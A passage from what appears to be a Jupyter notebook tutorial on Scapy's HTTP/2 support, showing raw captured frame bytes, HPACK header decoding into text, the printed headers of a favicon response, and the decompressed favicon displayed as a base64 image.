a3jP\\\\xcd\\\\xdb\\\\xb4\\\\x817\\\\x1e\\\\x1c\\\\xf3\\\\x1ei\\\\'\\\\xa7\\\\xca\\\\r\\\\xb7a\\\\xd4\\\\x1c\\\\xfeh\\\\xc7p|\\\\xac7\\\\x1d^8\\\\x91v\\\\xf4\\\\xabk\\\\x06\\\\xa0I1\\\\x12}\\\\x85\\\\x0f$\\\\x1b\\\\xb1;V\\\\xedI\\\\xdd\\\\xc2\\\\xe3\\\\x15l\\\\xb6\\\\xf6u[\\\\x1d\\\\xd5$_\\\\xc8{-M\\\\xd6U\\\\x13\\\\xf5\\\\xb1bz\\\\x83whX=)Y\\\\xe1\\\\x82W\\\\x85\\\\x82\\\\x86U\\\\xc1\\\\xb0%\\\\xe1e\\\\xf6\\\\xdf\\\\xc5\\\\xf7\\\\x8f`\\\\x0eHHy\\\\xc8wm\\\\xb5\\\\xad\\\\x90\\\\x8b\\\\x9d\\\\x1aB\\\\xd7&\\\\x96\\\\xa6\\\\x8f\\\\xcc\\\\x89i\\\\xe2\\\\x83\\\\x98\\\\xa1\\\\x19\\\\xa6aT\\\\xa7-99_\\\\xa2\\\\xf8\\\\xc7\\\\xf5\\\\x13.}l\\\\xd1.\\\\x94I}|x&g\\\\xff\\\\xad\\\\xe0\\\\x03p\\\\xcaq\\\\xa7<B\\\\xf3x%\\\\xc2\\\\x99\\\\xc0\\\\x9a\\\\xc9O\\\\xa1\\\\x94M\\\\x9eT\\\\x9f\\\\xce\\\\xbb7\\\\xd2\\\\x97x\\\\x188\\\\xf3\\\\xf9\\\\xab\\\\x17\\\\xc9\\\\xafo/\\\\xce\\\\xaf\\\\xae\\\\xf4_\\\\x9f\\\\xaf\\\\xfex\\\\xf3\\\\x9f\\\\xc1\\\\xf3\\\\xd1s\\\\xfdi\\\\xfc\\\\xe2z|\\\\xf9\\\\xe3\\\\xf0Y\\\\xa5S\\\\x06\\\\xb1\\\\xbdzlF\\\\xe1J/ke\\\\xb7l?\\\\xb7N\\\\xf0O+\\\\xbd\\\\x9ahN\\\\xa8\\\\x9b\\\\xb2;[14}\\\\xa2\\\\x9c(\\\\x0f\\\\xc5\\\\xcdR4\\\\t(\\\\x1e\\\\xb4\\\\xbc\\\\xa2\\\\xde\\\\x1d\\\\x18\\\\x00\\\\xca\\\\xa7E\\\\x08\\\\xae)BY\\\\xd1\\\\xcb\\\\xca\\\\xee\\\\x9b\\\\xa4\\\\xe0\\\\x071/\\\\t}\\\\x99\\\\xba\\\\xab-\\\\x91mwy]+}\\\\xef\\\\xb5\\\\xbc\\\\xef\\\\xf9\\\\xa9\\\\xd3\\\\\\\\\\\\xc5\\\\xaae\\\\xe9\\\\xa3m\\\\xec\\\\xfd\\\\x83osS\\\\x1eB\\\\xa9\\\\x97\\\\xbfG4\\\\xd5\\\\xdd\\\\xe9{!y\\\\xe0U\\\\xf9\\\\x01\\\\xbd\\\\xbf?p{\\\\xe5]y\\\\x85R\\\\x1f6U\\\\xd0\\\\xf4\\\\xf9\\\\x9b7\\\\xfa9\\\\xa4\\\\x11({\\\\xf0z\\\\xdc\\\\x93\\\\x9f\\\\xbf\\\\xa6>{\\\\xe25x\\\\x17\\\\x11C0\\\\xf3\\\\xe4\\\\xe1Y\\\\xa5\\\\x8e\\\\xdf\\\\x87\\\\x08\\\\t=\\\\xf5\\\\xd4u\\\\xbb\\\\x9a\\\\x96v:n\\\\xa7\\\\xd3\\\\xa5\\\\x07\\\\xceV\\\\xae\\\\xbe\\\\x94\\\\xe6\\\\xfe\\\\xde\\\\xdd\\\\xe9,e\\\\xdd\\\\xbe\\\\x88@Y\\\\xd5%D\\\\xc5\\\\xbf\\\\x83\\\\x92%\\\\xbe\\\\xbb<\\\\xe9T\\\\x8f.\\\\x90\\\\xa3\\\\xabW\\\\x17\\\\xc8\\\\xc6\\\\xf2\\\\xd5e\\\\xf7\\\\xed\\\\xe7\\\\xea\\\\xe2\\\\xb2\\\\xb7\\\\xf7\\\\xb2\\\\xf0\\\\x95\\\\xc3\\\\xf3\\\\xed\\\\'\\\\xee\\\\x93\\\\xbd\\\\x13\\\\x0bv\\\\x86\\\\x8f_7\\\\xd4\\\\x9f\\\\x8a\\\\xd7u\\\\x1b\\\\xa3\\\\xf1\\\\xf2\\\\xa5\\\\x0fv\\\\xccC\\\\x035\\\\xe7y/\\\\x87\\\\x8a\\\\x92U\\\\x1a\\\\xec\\\\x92\\\\x927\\\\xe9\\\\xd9T\\\\xde\\\\x1b\\\\xb8\\\\xad{\\\\x00V\\\\xeb\\\\xf9\\\\xa7\\\\xbbK\\\\xbf[\\\\xae\\\\xb0\\\\xd7\\\\xa7Y\\\\xc6\\\\x12\\\\xff|\\\\x19F~\\\\x97\\\\xf66\\\\xaa\\\\xd6\\\\xdbT\\\\xc2\\\\xfa\\\\xd1\\\\xa7l\\\\xfb\\\\xd6\\\\xe2\\\\xaa\\\\xb4yk\\\\x01\\\\xd2\\\\x02X{H`o\\\\xb1\\\\x1doO7_wD\\\\xe0\\\\x90\\\\xc7\\\\xf8\\\"$\\\\xd5\\\\x07nT\\\\xbf\\\"\\\\xf5\\\\xea\\\\x8f\\\\xfe\\\"\\\\xcc\\\\xb9@\\\\x14t\\\\xb2-Y\\\\xc3i^{\\\\xdb\\\\xfc\\\\xfe~\\\\xdd\\\\xbc1\\\\xce\\\\xfb\\\\xf3gE\\\\x9c]\\\\xdczL\\\\x9e*\\\\xb7\\\\x02\\\\xb0\\\\xdeZ,\\\\xf3\\\\xf4Fa\\\\x9b\\\\xd6\\\\x84\\\\xf8\\\\x86\\\\x96\\\\xf3\\\\xc6?\\\\xca\\\\xa6|i\\\\xea\\\\x8bF\\\\xde\\\\x9d^\\\\\\\\D\\\\xc4\\\\x9d\\\\xfaA\\\\xb6\\\\xdbz\\\\x91\\\\xb5\\\\xdb\\\\xaa\\\\xeb\\\\x1e\\\\r\\\\x00s0\\\\x1f\\\\xc0\\\\xcf\\\\xd5\\\\x9f\\\\xb7C\\\\x1fZ\\\\xfde\\\\xd6g\\\\xc9\\\\xfc\\\\xdd\\\\x9b\\\\xfe\\\\xfb\\\\xdf\\\\x86\\\\x7fdo>\\\\x9f\\\\xfc\\\\xf4\\\\xdc\\\\xec\\\\xbf\\\\x1a\\\\xc48\\\\xce\\\\xdd\\\\xf9\\\\x92\\\\xa9\\\\xfe \\\\x17\\\\xd8\\\\xfa4\\\\xf0\\\\x11\\\\xe8\\\\x03\\\\xd9\\\\xfa\\\\xecA\\\\x0c\\\\xc89~>=\\\\x7fki\\\\xe9\\\\xf3\\\\x95\\\\xff\\\\x82N\\\\xdf\\\\xbe4\\\\xde\\\\xcf/\\\\x7f\\\\xffC\\\\xe7\\\\xe3\\\\x9f^\\\\xdf\\\\xfe\\\\xfb\\\\xf2\\\\x05{\\\\xb7Z\\\\xfe~\\\\xa4\\\\xfe\\\\xffM\\\\xdd\\\\xb3\\\\xb7\\\\xa6\\\\x82\\\\xea\\\\xa5VH\\\\x16{\\\\xce\\\\x9a\\\\xc8i\\\\xc8lM\\\\xa0\\\\x10H\\\\xc8\\\\x0cO\\\\x9e*\\\\xf1\\\\xda\\\\xdfrK\\\\x92\\\\x19\\\\x96\\\\xb8y\\\\x94\\\\xa6\\\\xf1\\\\t\\\\x94\\\\xd1*\\\\xf1\\\\x975\\\\x82\\\\xbf\\\\xbc\\\\x16\\\\xcd7\\\\x07D\\\\x18]Du\\\\xcf2\\\\xe5H\\\\xdcd\\\\x0b\\\\x18\\\\x0c\\\\xb9\\\\x0b\\\\xc4\\\\x86\\\\xa9\\\\x92O4&\\\\x10\\\\xf4\\\\xc8\\\\'\\\\x9e&YM\\\\x11\\\\xc5\\\\xf5W\\\\xcc\\\\x03\\\\x8eK\\\\xf3B\\\\x17\\\\xf8\\\\x91\\\\x8b\\\\xc5\\\\x82z,\\\\xc7\\\\x12.\\\\xaf+\\\\x1b\\\\\\\\\\\\xc9]\\\\x8c\\\\x83\\\\x9c\\\\xd3;\\\\xf6\\\\x19*\\\\x1d\\\\xe6\\\\xc19F\\\\x08\\\\xa6\\\\xa4\\\\xb9X\\\\xa6\\\\x01\\\\xd4QP\\\\x00\\\\xcd\\\\x001\\\\xf2\\\\xae\\\\xee\\\\x00\\\\xf3\\\\x97?\\\\x0bM3&\\\\x87C\\\\xcb\\\\xde/\\\\tqr9S\\\\xa2p\\\\xbaJ\\\\xc3\\\\\\\\\\\\xc1\\\\x84\\\\x0b\\\\xdd)\\\\xbfB)\\\\xaab\\\\x08h8\\\\ry\\\\x88\\\\x04\\\\x19li\\\\x189\\\\x973\\\\xf2\\\"\\\\x80\\\\xc3\\\\xa9\\\\x0c\\\\x1aTqAo\\\\xca\\\\x17\\\\xf1\\\\x05z3\\\\xc85\\\\xf1\\\\x17\\\\x86\\\\x84\\\\xab\\\\x14\\\\x12\\\\xbc\\\\x82K\\\\x18\\\\x9eW\\\\t\\\\xe6OR\\\\xdfY\\\\xfcI\\\\xe4\\\\xc0\\\\xc5r\\\\xe7\\\\x8a\\\\xa2D\\\\x1e\\\\xd0r\\\\xac_N\\\\x8a\\\\xcb|S2f\\\\xa8T\\\\xee\\\\x86\\\\xb8\\\\xc2m\\\\xc9\\\\x97\\\\xe1]\\\\xa8\\\\xfc\\\\x7f\\\\\\\\0\\\\x88\\\\xa7\\\\xbf\\\\xd9\\\\xc3\\\\xda{\\\\xa3\\\\x92\\\\x04MV\\\\xaa;]\\\\xe5\\\\xa0m\\\\xe8\\\\xcb\\\\xaeK+\\\\xc2\\\\xe2\\\\xe0T_\\\\x8d\\\\xe6\\\\x0b@\\\\xfc\\\\xf0\\\\x11\\\\x98y\\\\xd0\\\\xa7k\\\\xf8\\\\x01\\\\x8e3\\\\x06(\\\\xd2+ XY\\\\xcb\\\\xc4\\\\xba\\\\xf8\\\\xed\\\\xf5\\\\xbf\\\\x8c\\\\xf3k\\\\xfd_\\\\xcf\\\\x9e\\\\x16\\\\x93\\\\xc2\\\\x1fO\\\\xde~\\\\xbe\\\\xba\\\\xfb\\\\x1d\\\\'\\\\xf2\\\\x91\\\\xf7\\\\xf6\\\\xf5\\\\xba\\\\x8c%\\\\xe5\\\\xfbp+$m\\\\xa3@\\\\xcc\\\\xfcf\\\\xb3\\\\xc3w\\\\xf7(LB\\\\xb1\\\\xf5el\\\\x9579w\\\\xdd\\\\xa6S\\\\xe2U\\\\xba\\\\x04\\\\xd4\\\\xcd\\\\xa6\\\\x1d\\\\xc7>5\\\\x11\\\\xe5\\\\x13\\\\xec\\\\xbaV\\\\xe36|,\\\\xbc\\\\xb7\\\\x86!\\\\x00\\\\xdb\\\\xf2U\\\\xb0\\\\xbe\\\\x0f/\\\\x8b\\\\x12L\\\\x8cx\\\\x89\\\\x8d\\\\xff\\\\'\\\\xf0\\\\x7f\\\\x01\\\\xa9\\\\x9a\\\\xd7%#(\\\\x00\\\\x00'\\n\",\n        \"   |     padding   = '\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 113\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Now, I don't know about you, but I can't read this :) Let's use the helpers to help us out.\\n\",\n      \"\\n\",\n      \"First we need to create a new Header table that is meaningful for headers received from the server. We set the various sizes to the values we defined in our settings.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"srv_tblhdr = h2.HPackHdrTable(dynamic_table_max_size=max_hdr_tbl_sz, dynamic_table_cap_size=max_hdr_tbl_sz)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 114\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's now convert all received headers into their textual representation, and stuff the data frames into a buffer per stream.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"# Structure used to store textual representation of the stream headers\\n\",\n      \"stream_txt = {}\\n\",\n      \"# Structure used to store data from each stream\\n\",\n      \"stream_data = {}\\n\",\n      \"\\n\",\n      \"# For each frame we previously received\\n\",\n      \"for frame in stream.frames:\\n\",\n      \"    # If this frame is a header\\n\",\n      \"    if frame.type == h2.H2HeadersFrame.type_id:\\n\",\n      \"        # Convert this header block into its textual representation.\\n\",\n      \"        # For the sake of simplicity of this tutorial, we assume \\n\",\n      \"        # that the header block is not large enough to require a Continuation frame\\n\",\n      \"        stream_txt[frame.stream_id] = srv_tblhdr.gen_txt_repr(frame)\\n\",\n      \"    # If this frame is data\\n\",\n      \"    if frame.type == h2.H2DataFrame.type_id:\\n\",\n      \"        if frame.stream_id not in stream_data:\\n\",\n      \"            stream_data[frame.stream_id] = []\\n\",\n      \"        stream_data[frame.stream_id].append(frame)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 115\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Now, we can print the headers from the Favicon response.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"print(stream_txt[3])\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \":status 200\\n\",\n        \"vary: Accept-Encoding\\n\",\n        \"content-encoding: gzip\\n\",\n        \"content-type: image/x-icon\\n\",\n        \"date: Thu, 08 Dec 2016 06:23:59 GMT\\n\",\n        \"expires: Fri, 16 Dec 2016 06:23:59 GMT\\n\",\n        \"last-modified: Thu, 08 Dec 2016 01:00:57 GMT\\n\",\n        \"x-content-type-options: nosniff\\n\",\n        \"server: sffe\\n\",\n        \"content-length: 1494\\n\",\n        \"x-xss-protection: 1; mode=block\\n\",\n        \"cache-control: public, max-age=691200\\n\",\n        \"age: 472252\\n\",\n        \"alt-svc: quic=\\\":443\\\"; ma=2592000; v=\\\"35,34\\\"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 116\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"So, we received a 200 status code, meaning that we received the favicon. We also can see that the favicon is GZipped. Let's uncompress it and display it in this notebook.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"import zlib\\n\",\n      \"img = zlib.decompress(stream_data[3][0].data, 16+zlib.MAX_WBITS)\\n\",\n      \"from IPython.core.display import HTML\\n\",\n      \"HTML('<img src=\\\"data:image/x-icon;base64,{}\\\" />'.format(img.encode('base64')))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"html\": [\n        \"<img src=\\\"data:image/x-icon;base64,AAABAAIAEBAAAAEAIABoBAAAJgAAACAgAAABACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAA\\n\",\n        \"AAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///zD9/f2W/f392P39/fn9/f35\\n\",\n        \"/f391/39/ZT+/v4uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Cf39/Zn/////////////////\\n\",\n        \"//////////////////////////39/ZX///8IAAAAAAAAAAAAAAAA/v7+Cf39/cH/////+v35/7TZ\\n\",\n        \"p/92ul3/WKs6/1iqOv9yuFn/rNWd//j79v///////f39v////wgAAAAAAAAAAP39/Zn/////7PXp\\n\",\n        \"/3G3WP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP+Or1j//vDo///////9/f2VAAAAAP///zD/////\\n\",\n        \"+vz5/3G3V/9TqDT/WKo6/6LQkf/U6cz/1urO/6rUm/+Zo0r/8IZB//adZ////v7///////7+/i79\\n\",\n        \"/f2Y/////4nWzf9Lqkj/Vqo4/9Xqzv///////////////////////ebY//SHRv/0hUL//NjD////\\n\",\n        \"///9/f2U/f392v////8sxPH/Ebzt/43RsP/////////////////////////////////4roL/9IVC\\n\",\n        \"//i1jf///////f391/39/fr/////Cr37/wW8+/+16/7/////////////////9IVC//SFQv/0hUL/\\n\",\n        \"9IVC//SFQv/3pnX///////39/fn9/f36/////wu++/8FvPv/tuz+//////////////////SFQv/0\\n\",\n        \"hUL/9IVC//SFQv/0hUL/96p7///////9/f35/f392/////81yfz/CrL5/2uk9v//////////////\\n\",\n        \"/////////////////////////////////////////f392P39/Zn/////ks/7/zdS7P84Rur/0NT6\\n\",\n        \"///////////////////////9/f////////////////////////39/Zb+/v4y//////n5/v9WYu3/\\n\",\n        \"NUPq/ztJ6/+VnPT/z9L6/9HU+v+WnfT/Ul7t/+Hj/P////////////////////8wAAAAAP39/Z3/\\n\",\n        \"////6Or9/1hj7v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9sdvD////////////9/f2YAAAAAAAA\\n\",\n        \"AAD///8K/f39w//////5+f7/paz2/11p7v88Suv/Okfq/1pm7v+iqfX/+fn+///////9/f3B/v7+\\n\",\n        \"CQAAAAAAAAAAAAAAAP///wr9/f2d///////////////////////////////////////////9/f2Z\\n\",\n        \"/v7+CQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/jL9/f2Z/f392/39/fr9/f36/f392v39/Zj/\\n\",\n        \"//8wAAAAAAAAAAAAAAAAAAAAAPAPAADAAwAAgAEAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAIABAACAAQAAwAMAAPAPAAAoAAAAIAAAAEAAAAABACAAAAAAAAAQAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/g3+/v5X\\n\",\n        \"/f39mf39/cj9/f3q/f39+f39/fn9/f3q/f39yP39/Zn+/v5W////DAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+\\n\",\n        \"/iT9/f2c/f399f/////////////////////////////////////////////////////9/f31/f39\\n\",\n        \"mv7+/iMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAP7+/gn9/f2K/f39+///////////////////////////////////////////////////////\\n\",\n        \"/////////////////////f39+v39/Yf///8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAD+/v4k/f390v//////////////////////////////////////////////\\n\",\n        \"//////////////////////////////////////////////////39/dD///8iAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////MP39/er//////////////////////////+r05v+v\\n\",\n        \"16H/gsBs/2WxSf9Wqjj/Vqk3/2OwRv99vWX/pdKV/97u2P////////////////////////////39\\n\",\n        \"/ej+/v4vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/iT9/f3q////////////////////\\n\",\n        \"/+v15/+Pxnv/VKk2/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/36+Z//d7tf/\\n\",\n        \"//////////////////////39/ej///8iAAAAAAAAAAAAAAAAAAAAAAAAAAD///8K/f390///////\\n\",\n        \"///////////////E4bn/XKw+/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\\n\",\n        \"NP9TqDT/U6g0/1apN/+x0pv///////////////////////39/dD///8IAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AP39/Yv/////////////////////sdij/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/\\n\",\n        \"U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/YKU1/8qOPv/5wZ////////////////////////39/YcA\\n\",\n        \"AAAAAAAAAAAAAAD+/v4l/f39+////////////////8Lgt/9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\\n\",\n        \"NP9utlT/n86N/7faqv+426v/pdKV/3u8ZP9UqDX/U6g0/3egN//jiUH/9IVC//SFQv/82MP/////\\n\",\n        \"/////////////f39+v7+/iMAAAAAAAAAAP39/Z3////////////////q9Ob/W6w+/1OoNP9TqDT/\\n\",\n        \"U6g0/1OoNP9nskz/zOXC/////////////////////////////////+Dv2v+osWP/8YVC//SFQv/0\\n\",\n        \"hUL/9IVC//WQVP/++fb//////////////////f39mgAAAAD+/v4O/f399v///////////////4LH\\n\",\n        \"j/9TqDT/U6g0/1OoNP9TqDT/dblc//L58P//////////////////////////////////////////\\n\",\n        \"///8+v/3p3f/9IVC//SFQv/0hUL/9IVC//rIqf/////////////////9/f31////DP7+/ln/////\\n\",\n        \"///////////f9v7/Cbz2/zOwhv9TqDT/U6g0/2KwRv/v9+z/////////////////////////////\\n\",\n        \"//////////////////////////738//1kFT/9IVC//SFQv/0hUL/9plg////////////////////\\n\",\n        \"///+/v5W/f39nP///////////////4jf/f8FvPv/Bbz7/yG1s/9QqDz/vN2w////////////////\\n\",\n        \"//////////////////////////////////////////////////rHqP/0hUL/9IVC//SFQv/0hUL/\\n\",\n        \"/vDn//////////////////39/Zn9/f3L////////////////R878/wW8+/8FvPv/Bbz7/y7C5P/7\\n\",\n        \"/fr//////////////////////////////////////////////////////////////////ere//SF\\n\",\n        \"Qv/0hUL/9IVC//SFQv/718H//////////////////f39yP39/ez///////////////8cwvv/Bbz7\\n\",\n        \"/wW8+/8FvPv/WNL8///////////////////////////////////////0hUL/9IVC//SFQv/0hUL/\\n\",\n        \"9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//rIqv/////////////////9/f3q/f39+v//////\\n\",\n        \"/////////we9+/8FvPv/Bbz7/wW8+/993P3///////////////////////////////////////SF\\n\",\n        \"Qv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/+cGf////////////////\\n\",\n        \"//39/fn9/f36////////////////B737/wW8+/8FvPv/Bbz7/33c/f//////////////////////\\n\",\n        \"////////////////9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/6\\n\",\n        \"xaX//////////////////f39+f39/e3///////////////8cwvv/Bbz7/wW8+/8FvPv/WdP8////\\n\",\n        \"///////////////////////////////////0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC\\n\",\n        \"//SFQv/0hUL/9IVC//vVv//////////////////9/f3q/f39y////////////////0bN/P8FvPv/\\n\",\n        \"Bbz7/wW8+/8hrvn/+/v/////////////////////////////////////////////////////////\\n\",\n        \"//////////////////////////////////////////////////////////39/cj9/f2c////////\\n\",\n        \"////////ht/9/wW8+/8FvPv/FZP1/zRJ6/+zuPf/////////////////////////////////////\\n\",\n        \"////////////////////////////////////////////////////////////////////////////\\n\",\n        \"/f39mf7+/lr////////////////d9v7/B7n7/yB38f81Q+r/NUPq/0hV7P/u8P3/////////////\\n\",\n        \"////////////////////////////////////////////////////////////////////////////\\n\",\n        \"///////////////////+/v5X////D/39/ff///////////////9tkPT/NUPq/zVD6v81Q+r/NUPq\\n\",\n        \"/2Fs7//y8v7////////////////////////////////////////////09f7/////////////////\\n\",\n        \"/////////////////////////////////f399f7+/g0AAAAA/f39n////////////////+Tm/P89\\n\",\n        \"Suv/NUPq/zVD6v81Q+r/NUPq/1Bc7f/IzPn/////////////////////////////////x8v5/0xY\\n\",\n        \"7P+MlPP////////////////////////////////////////////9/f2cAAAAAAAAAAD+/v4n/f39\\n\",\n        \"/P///////////////7W69/81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9ZZe7/k5v0/6609/+vtff/\\n\",\n        \"lJv0/1pm7v81Q+r/NUPq/zVD6v+GjvL//v7//////////////////////////////f39+/7+/iQA\\n\",\n        \"AAAAAAAAAAAAAAD9/f2N/////////////////////6Cn9f81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD\\n\",\n        \"6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v+BivL/////////////////////\\n\",\n        \"///////9/f2KAAAAAAAAAAAAAAAAAAAAAP7+/gv9/f3V/////////////////////7W69/8+S+v/\\n\",\n        \"NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/P0zr/7q/+P//\\n\",\n        \"/////////////////////f390v7+/gkAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3r////////\\n\",\n        \"/////////////+Xn/P94gfH/NkTq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NkTq\\n\",\n        \"/3Z/8f/l5/z///////////////////////39/er+/v4kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAP7+/jL9/f3r///////////////////////////k5vz/nqX1/2p08P9IVez/OEbq/zdF6v9G\\n\",\n        \"U+z/aHLv/5qh9f/i5Pz////////////////////////////9/f3q////MAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3V////////////////////////////////////\\n\",\n        \"/////////////////////////////////////////////////////////////f390v7+/iQAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wr9/f2N/f39/P//////\\n\",\n        \"/////////////////////////////////////////////////////////////////////f39+/39\\n\",\n        \"/Yv+/v4JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAD+/v4n/f39n/39/ff/////////////////////////////////////////////////////\\n\",\n        \"/f399v39/Z3+/v4lAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Dv7+/lr9/f2c/f39y/39/e39/f36/f39+v39\\n\",\n        \"/ez9/f3L/f39nP7+/ln+/v4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AP/AA///AAD//AAAP/gAAB/wAAAP4AAAB8AAAAPAAAADgAAAAYAAAAEAAAAAAAAAAAAAAAAAAAAA\\n\",\n        \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAABgAAAAcAAAAPAAAAD4AAAB/AAAA/4\\n\",\n        \"AAAf/AAAP/8AAP//wAP/\\n\",\n        \"\\\" />\"\n       ],\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 117,\n       